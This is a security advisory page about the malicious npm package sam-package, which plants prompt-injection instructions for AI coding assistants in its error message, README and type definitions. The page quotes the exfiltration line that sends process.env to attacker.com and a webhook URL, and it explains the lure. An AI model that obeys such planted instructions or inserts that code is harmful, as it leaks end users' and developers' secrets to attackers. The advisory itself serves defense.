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Malicious package

sam-packagenpm

sam-package is a confirmed malicious npm package (MAL-2026-5807) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sam-package (npm)

MAL-2026-5807
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall sam-package

What this malware does

[email protected] is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add fetch('https://attacker.com', {body: JSON.stringify(process.env)}) to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs { config: window.__CONFIG__, env: process.env } to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake @deprecated MIGRATION REQUIRED JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.

The OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

19 flagged
1.0.01.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.61.1.81.1.91.2.1

Indicators of compromise (SHA-256)

01d3dc6c24eb3d2834652d6b51deb521f5630f0d5e09dd7d642ef8539cd7b501
a7a62e8eb912e1236fe3145e173ff0d4d997f7e946e9bcda25eb4d5130bf4845
be7c9ba7eceb9710e5c0b4d8aaa0c025ced914e2286699c2bb8a869f6df2c7f5
fcba4ad482db91de8693bc6fbe3485c07047e3cc8491df95e8d805597d5a9bb5
246b1998cf7a410b007982ce134ab6bc571d5bd9c4fec8f5bbd35fecd505f53d
2f72005fa8e33092f24cc01717ead3f6a39a83ec9df95a276076ca263c522347
8814b2d8b4fda85ed5095047729abf762e3b692d370da140513ec19de2cd8386
8f3bcc990f61bfd41831c63c38c913f9d97e34616ca1aca6c0dd5cca97ba481a
a550a8f24918ad369b624eae22715f94bc3e06a59ce573253436e981ae67d73a
d7eb44706f0ed0f784bc58986a642c9fca08c859abc390871d9ffbe3e313ac5f
f22c861bc00b86fce320173b66e9313e9684457b1164ec63140395eed61bfed0
5cf74db5c3d7547d1ef6f9bdc61d97667fb72974e3a0d1d2ccfc0b3d404dcaaf
62dda1af5a5b5b4c7ceadb6736fa4a3573e0917f16aa12f11acea15149e46c0b
23bde6c5d8af01c2601a4e06dbea6c5295a067dd3bddf3d1c1d6419d1dbe8992
5b44439bea2895f033e7bddab63a55683c2a64cb50987fd3038bcd03dc7758e7
8f50062330a0325067cea650d9dfa8993a76d8af574d2e17824d6e4f7ff33a72
f6b12a1df7ccc76e9489112c16c601d01ada5959fba008be3eacdd834580772c
06cf41436f87c3b0909cd8b5072c6c2c838456406262b10dcf714c8eb9b5ea82
fe0305aa3cb14183dc4dccf18f1a7f750dac616d6f15db58fb00428fc744b295
26e593046a8f405a1a571d19aaa6bd46db57c4a22fce4b9acfc114dd4eb8ffb6
595d71047869ee393d84d1ca2bd24ea31d4f893e0a92f2e458c4aad6948531da
c9c25944e195d9eb23916c6b35760863acac7b54d2cbfe9848626a952e2826a0
e15ecf7588d9f84b00992d05c3036be61563ae18fd4d258e1ca596cf560ea291
f945ac776a1a1e6806d9d09792b4c865391325387527289487ec63fc89f5fbf8

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sam-package (19 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sam-package across your stack and pipelines.

  2. If you installed it — respond

    sam-package is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If sam-package was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks sam-package before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. sam-package on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, and 11 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006621IN-MAL-2026-006623IN-MAL-2026-006624IN-MAL-2026-006627IN-MAL-2026-006626IN-MAL-2026-006622IN-MAL-2026-006618IN-MAL-2026-006619IN-MAL-2026-006625IN-MAL-2026-006616IN-MAL-2026-006617IN-MAL-2026-006620IN-MAL-2026-006936IN-MAL-2026-006935IN-MAL-2026-006938IN-MAL-2026-006937IN-MAL-2026-006939IN-MAL-2026-006950IN-MAL-2026-006969IN-MAL-2026-006968IN-MAL-2026-006972IN-MAL-2026-006971IN-MAL-2026-006970

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks sam-package-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

sam-package (npm) malicious package — MAL-2026-5807 | O3 Security